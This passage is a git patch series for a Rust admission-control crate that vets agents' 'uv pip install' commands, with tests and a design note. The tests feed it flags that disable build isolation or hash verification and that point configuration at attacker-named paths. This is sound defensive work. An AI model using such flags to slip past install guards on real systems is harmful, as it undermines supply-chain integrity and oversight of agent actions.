"--no-build-isolation-package") - && !argument.starts_with('-'); - if is_consumed_selector_value { - changed = true; - None - } else { - Some(argument.clone()) - } - }) - .collect(); - - changed.then_some(normalized) -} - -/// Return whether a supported `uv pip install` invocation asks to disable the -/// reviewed PEP 517 build-isolation boundary. -pub(crate) fn requests_unapproved_uv_build_isolation_override(intent: &InstallIntent) -> bool { - let Some(executable) = intent.argv.first().map(String::as_str) else { - return false; - }; - let arguments = &intent.argv[1..]; - - executable == "uv" - && arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") - && arguments.iter().skip(2).any(|argument| { - argument == "--no-build-isolation" - || argument == "--no-build-isolation-package" - || argument.starts_with("--no-build-isolation-package=") - }) -} - -#[cfg(test)] -mod tests { - use super::{ - normalize_uv_build_isolation_package_selector, - requests_unapproved_uv_build_isolation_override, - }; - use crate::InstallIntent; - - #[test] - fn exact_package_selector_value_is_removed_from_policy_evaluation_view() { - let mut intent = InstallIntent::unowned_llms_package_for_test(); - intent.argv = vec![ - "uv".to_string(), - "pip".to_string(), - "install".to_string(), - "cwl-example==1.2.3".to_string(), - "--no-build-isolation-package".to_string(), - "cwl-example".to_string(), - ]; - - let normalized = normalize_uv_build_isolation_package_selector(&intent) - .expect("exact selector must produce a policy-evaluation view"); - - assert_eq!( - normalized.argv, - vec![ - "uv".to_string(), - "pip".to_string(), - "install".to_string(), - "cwl-example==1.2.3".to_string(), - "--no-build-isolation-package".to_string(), - ] - ); - assert!(requests_unapproved_uv_build_isolation_override(&intent)); - } - - #[test] - fn uv_long_option_lookalike_is_not_classified_as_build_isolation_authority() { - let mut intent = InstallIntent::unowned_llms_package_for_test(); - intent.argv = vec![ - "uv".to_string(), - "pip".to_string(), - "install".to_string(), - "cwl-example==1.2.3".to_string(), - "--no-build-isolatio".to_string(), - ]; - - assert!(normalize_uv_build_isolation_package_selector(&intent).is_none()); - assert!(!requests_unapproved_uv_build_isolation_override(&intent)); - } -} From 7bf773c9a2bcc605cda42219921bbb92757eb537 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:12:49 +0900 Subject: [PATCH 551/702] test(security): lock existing uv build isolation denial --- .../tests/uv_build_isolation_authority_contract.rs | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs index 7ebf9a50..a81d664f 100644 --- a/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_build_isolation_authority_contract.rs @@ -19,22 +19,22 @@ fn approved_uv_install_with_default_build_isolation_remains_admissible() { } #[test] -fn uv_no_build_isolation_cannot_inherit_artifact_approval() { +fn uv_no_build_isolation_is_bound_as_unapproved_build_variant() { let (policy, mut intent) = approved_uv_install(); intent.argv.push("--no-build-isolation".to_string()); - assert_build_isolation_override_is_blocked(&policy, &intent); + assert_build_variant_is_blocked(&policy, &intent); } #[test] -fn uv_package_scoped_no_build_isolation_cannot_inherit_artifact_approval() { +fn uv_package_scoped_no_build_isolation_is_bound_as_unapproved_build_variant() { let (policy, mut intent) = approved_uv_install(); intent.argv.extend([ "--no-build-isolation-package".to_string(), "cwl-example".to_string(), ]); - assert_build_isolation_override_is_blocked(&policy, &intent); + assert_build_variant_is_blocked(&policy, &intent); } #[test] @@ -48,7 +48,7 @@ fn uv_nearby_long_option_spelling_does_not_inherit_build_isolation_semantics() { assert!(decision.reason_codes.is_empty()); } -fn assert_build_isolation_override_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { +fn assert_build_variant_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); assert_eq!( @@ -58,8 +58,8 @@ fn assert_build_isolation_override_is_blocked(policy: &AdmissionPolicy, intent: ); assert_eq!( decision.reason_codes, - vec![ReasonCode::MissingSafetyFlag], - "disabling uv build isolation must fail causally as a package-manager hardening override" + vec![ReasonCode::ArtifactNotApproved], + "uv build-isolation selection is already canonical artifact/build-variant authority" ); assert_eq!( decision.command_sha256, From b820f75a88a6231dbd593f9321037a098e664dc0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:32:07 +0900 Subject: [PATCH 552/702] test(security): require uv hash verification authority --- ...uv_hash_verification_authority_contract.rs | 106 ++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs new file mode 100644 index 00000000..8c33e847 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs @@ -0,0 +1,106 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_with_required_hashes_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_no_verify_hashes_cannot_disable_reviewed_hash_verification() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-verify-hashes".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "uv must not accept an explicit hash-verification disable selector alongside the reviewed --require-hashes guard" + ); + assert!( + decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + "uv --no-verify-hashes must retain stable missing_safety_flag evidence" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); +} + +#[test] +fn uv_nearby_hash_option_spelling_does_not_inherit_disable_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--no-verify-hashe".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-hash-verification-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-hash-verification-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From f9109bb1786f7a135eb61641d71792889a47c577 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:33:02 +0900 Subject: [PATCH 553/702] style(test): satisfy rustfmt before hostile RED --- .../tests/uv_hash_verification_authority_contract.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs index 8c33e847..17bb77e8 100644 --- a/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_hash_verification_authority_contract.rs @@ -31,7 +31,9 @@ fn uv_no_verify_hashes_cannot_disable_reviewed_hash_verification() { "uv must not accept an explicit hash-verification disable selector alongside the reviewed --require-hashes guard" ); assert!( - decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), "uv --no-verify-hashes must retain stable missing_safety_flag evidence" ); assert_eq!( From ffee54dbc85ec9064e23164471438f544ef5f4c3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:35:11 +0900 Subject: [PATCH 554/702] fix(security): reject uv hash-verification disable selector --- crates/agent-artifact-admission/src/pypi_hash_mode.rs | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_hash_mode.rs b/crates/agent-artifact-admission/src/pypi_hash_mode.rs index 4540a573..4ae65366 100644 --- a/crates/agent-artifact-admission/src/pypi_hash_mode.rs +++ b/crates/agent-artifact-admission/src/pypi_hash_mode.rs @@ -21,8 +21,13 @@ pub(crate) fn requests_disabled_hash_requirement(intent: &InstallIntent) -> bool _ => false, }; - is_supported_install + let disables_required_hashes = arguments + .iter() + .any(|argument| argument == "--no-require-hashes"); + let disables_uv_hash_verification = executable == "uv" && arguments .iter() - .any(|argument| argument == "--no-require-hashes") + .any(|argument| argument == "--no-verify-hashes"); + + is_supported_install && (disables_required_hashes || disables_uv_hash_verification) } From 9955446123dab482834a9452b3a112ffb9e32a0c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 04:01:14 +0900 Subject: [PATCH 555/702] test(admission): expose uv directory config authority --- .../tests/uv_directory_authority_contract.rs | 135 ++++++++++++++++++ 1 file changed, 135 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs new file mode 100644 index 00000000..0bca319d --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs @@ -0,0 +1,135 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn reviewed_uv_install_without_working_directory_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_attached_directory_cannot_relocate_ambient_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .push("--directory=/tmp/attacker-project".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv working directory must not relocate ambient config discovery outside the reviewed install authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv --directory must retain stable alternate_trust_root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); +} + +#[test] +fn uv_separate_directory_value_is_classified_as_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--directory".to_string()); + intent.argv.push("/tmp/attacker-project".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "an incidental positional-operand rejection must not hide uv working-directory config authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_nearby_directory_option_spelling_does_not_inherit_configuration_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .push("--directoryx=/tmp/attacker-project".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-directory-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-directory-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 5dcb6233a50181a662906ea111c7395b77bfe4ae Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 04:04:00 +0900 Subject: [PATCH 556/702] fix(admission): reject uv directory config authority --- .../agent-artifact-admission/src/uv_configuration_authority.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index 0057553e..5ca67f11 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -22,6 +22,8 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt arguments.iter().skip(2).any(|argument| { argument == "--config-file" || argument.starts_with("--config-file=") + || argument == "--directory" + || argument.starts_with("--directory=") || argument == "--torch-backend" || argument.starts_with("--torch-backend=") }) From 42dcb4149eddf92432d202846a79cbe30ea5fc52 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 04:31:54 +0900 Subject: [PATCH 557/702] test(admission): expose uv global directory authority evidence gap --- .../tests/uv_directory_authority_contract.rs | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs index 0bca319d..efd6b127 100644 --- a/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_directory_authority_contract.rs @@ -68,6 +68,94 @@ fn uv_separate_directory_value_is_classified_as_configuration_authority() { ); } +#[test] +fn uv_global_separate_directory_retains_configuration_authority_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--directory".to_string(), + "/tmp/attacker-project".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv global --directory must preserve the causal alternate_trust_root evidence even when the command grammar remains unsupported: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_global_attached_directory_retains_configuration_authority_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--directory=/tmp/attacker-project".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv global --directory= must preserve the causal alternate_trust_root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_global_nearby_directory_spelling_does_not_inherit_configuration_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--directoryx=/tmp/attacker-project".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Wardnet must not invent uv global-option semantics for nearby spellings: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + #[test] fn uv_nearby_directory_option_spelling_does_not_inherit_configuration_semantics() { let (policy, mut intent) = approved_uv_install(); From 936929211226beec3a772c660f1e1edc4fa831f1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 04:33:37 +0900 Subject: [PATCH 558/702] fix(admission): classify uv global directory authority --- .../src/uv_configuration_authority.rs | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index 5ca67f11..c40b834d 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -11,6 +11,12 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt } let arguments = &intent.argv[1..]; + if arguments.iter().any(|argument| { + argument == "--directory" || argument.starts_with("--directory=") + }) { + return true; + } + if !arguments.first().is_some_and(|argument| argument == "pip") || !arguments .get(1) @@ -22,8 +28,6 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt arguments.iter().skip(2).any(|argument| { argument == "--config-file" || argument.starts_with("--config-file=") - || argument == "--directory" - || argument.starts_with("--directory=") || argument == "--torch-backend" || argument.starts_with("--torch-backend=") }) From 447bb7dad1bd03d14601e2cf3789b14dd5ef9395 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 04:34:59 +0900 Subject: [PATCH 559/702] style(admission): apply rustfmt to uv directory classifier --- .../src/uv_configuration_authority.rs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index c40b834d..3f885470 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -11,9 +11,10 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt } let arguments = &intent.argv[1..]; - if arguments.iter().any(|argument| { - argument == "--directory" || argument.starts_with("--directory=") - }) { + if arguments + .iter() + .any(|argument| argument == "--directory" || argument.starts_with("--directory=")) + { return true; } From b69312002943ff419152dd58dbc1880649120e44 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 04:49:26 +0900 Subject: [PATCH 560/702] test(admission): expose uv global config-file authority evidence gap --- .../uv_config_file_authority_contract.rs | 93 ++++++++++++++++++- 1 file changed, 91 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs index a5455f24..8324a513 100644 --- a/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_config_file_authority_contract.rs @@ -1,6 +1,6 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, - admission_decision, + admission_decision, sha256_hex, }; #[test] @@ -50,6 +50,95 @@ fn uv_separate_config_file_value_is_classified_as_trust_authority() { ); } +#[test] +fn uv_global_separate_config_file_retains_configuration_authority_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--config-file".to_string(), + "/tmp/attacker-uv.toml".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv global --config-file must preserve the causal alternate_trust_root evidence even while the command grammar remains unsupported: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_attached_config_file_retains_configuration_authority_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--config-file=/tmp/attacker-uv.toml".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv global --config-file= must preserve the causal alternate_trust_root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_global_nearby_config_file_spelling_does_not_inherit_configuration_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--config-filex=/tmp/attacker-uv.toml".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Wardnet must not invent uv global-option semantics for nearby spellings: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { let mut intent = InstallIntent::unowned_llms_package_for_test(); intent.argv = vec![ @@ -82,7 +171,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { }; let policy = AdmissionPolicy { policy_id: "uv-config-authority".to_string(), - policy_revision: "2026-09-10.1".to_string(), + policy_revision: "2026-09-13.1".to_string(), allowed_executables: vec!["uv".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: intent.workspace_id.clone(), From 4ba7dddf7d8224a42c5a4b050ad62cefcad563c6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 04:50:50 +0900 Subject: [PATCH 561/702] fix(admission): classify uv global config-file authority --- .../src/uv_configuration_authority.rs | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index 3f885470..ed923c1e 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -11,10 +11,12 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt } let arguments = &intent.argv[1..]; - if arguments - .iter() - .any(|argument| argument == "--directory" || argument.starts_with("--directory=")) - { + if arguments.iter().any(|argument| { + argument == "--directory" + || argument.starts_with("--directory=") + || argument == "--config-file" + || argument.starts_with("--config-file=") + }) { return true; } @@ -26,10 +28,8 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt return false; } - arguments.iter().skip(2).any(|argument| { - argument == "--config-file" - || argument.starts_with("--config-file=") - || argument == "--torch-backend" - || argument.starts_with("--torch-backend=") - }) + arguments + .iter() + .skip(2) + .any(|argument| argument == "--torch-backend" || argument.starts_with("--torch-backend=")) } From 58653968b30b549f0bf716e302fd1cd2175280c3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 04:51:31 +0900 Subject: [PATCH 562/702] docs(admission): record uv global config-file authority evidence --- docs/doctoring/uv-configuration-authority.md | 24 ++++++++++++-------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/docs/doctoring/uv-configuration-authority.md b/docs/doctoring/uv-configuration-authority.md index df19400f..c8a09460 100644 --- a/docs/doctoring/uv-configuration-authority.md +++ b/docs/doctoring/uv-configuration-authority.md @@ -2,41 +2,47 @@ ## Problem and security boundary -Wardnet Agent Artifact Admission binds an approved PyPI request to reviewed package coordinates, registry/index identity, digest, dependency cardinality and selected installer safety controls before any executor runs. `uv pip install` also accepts `--config-file `, which selects a caller-supplied `uv.toml`. Astral documents both this CLI selector and configuration-file index settings, including a default package index. If an untrusted agent can select that file, the same structured install intent can delegate package-source and trust configuration to data outside the reviewed admission coordinate. +Wardnet Agent Artifact Admission binds an approved PyPI request to reviewed package coordinates, registry/index identity, digest, dependency cardinality and selected installer safety controls before any executor runs. `uv` also accepts the global `--config-file ` selector, which selects a caller-supplied `uv.toml`. Astral documents both this CLI selector and configuration-file index settings, including a default package index. If an untrusted agent can select that file, the same structured install intent can delegate package-source and trust configuration to data outside the reviewed admission coordinate. -This is Wardnet policy authority, not transport execution. Wardnet therefore rejects the caller-selected configuration selector. EgressWeave remains the canonical executable outbound URL/address/DNS/peer/redirect/proxy/TLS authorization owner, while `quarantine-sandbox-runtime` remains the effective runtime environment/filesystem/process isolation owner. +The selector is security-significant independently of whether Wardnet's narrower executable grammar supports that exact global-option placement. An unsupported command must remain fail-closed, but its evidence should still retain the causal configuration-authority reason rather than degrading to only a generic forbidden-command reason. + +This is Wardnet policy authority, not transport execution. Wardnet therefore rejects the caller-selected configuration selector wherever its exact documented argv spelling is observable. EgressWeave remains the canonical executable outbound URL/address/DNS/peer/redirect/proxy/TLS authorization owner, while `quarantine-sandbox-runtime` remains the effective runtime environment/filesystem/process isolation owner. ## Constraints and alternatives -The repair must preserve the existing direct `uv pip install` capability, existing exact `name==version` artifact-source identity, `--require-hashes`, `--no-deps`, and explicit index/TLS override controls. It must not parse or trust the selected `uv.toml`, copy uv configuration semantics into Wardnet, or infer that an EgressWeave transport allow would authorize a different package source. +The repair must preserve the existing direct `uv pip install` capability, existing exact `name==version` artifact-source identity, `--require-hashes`, `--no-deps`, and explicit index/TLS override controls. It must not widen Wardnet's supported uv execution grammar, parse or trust the selected `uv.toml`, copy uv configuration semantics into Wardnet, infer ambient `UV_CONFIG_FILE`, or infer that an EgressWeave transport allow would authorize a different package source. Three alternatives were considered: 1. Parse the selected configuration file and admit a request when its effective index appears equivalent. Rejected because this creates a second uv configuration interpreter inside Wardnet and moves runtime/configuration truth into the wrong bounded context. 2. Rely on EgressWeave to block the resulting network destination. Rejected because transport authorization cannot repair a pre-execution admission decision whose reviewed package authority has already been widened. -3. Reject `--config-file` as an alternate trust/configuration authority for the currently supported `uv pip install` path. Chosen because it is fail-closed, minimal, reversible, and preserves owner boundaries. +3. Classify exact `--config-file` and `--config-file=` as alternate trust/configuration authority anywhere in the observed uv argv while leaving executable support validation separate. Chosen because it is fail-closed, minimal, reversible, preserves causal evidence for documented global placement, and does not broaden what Wardnet is willing to execute. ## RED and causal repair -Issue #264 records the hostile case. Test-only commit `a718e68bd7f13df9d54f5bd85ef7cde781d4827d`, stacked directly on canonical Agent Artifact Admission #129, added an otherwise-approved uv install plus attached and separate configuration-file selectors. Hosted CI run `34490519712`, rust job `102915749368`, passed checkout, Rust setup and formatting, then failed in the test phase. The parent #129 exact head had terminal-green Wardnet-owned CI before this test-only child, so the failure is retained as semantic RED rather than an infrastructure or formatter failure. +Issue #264 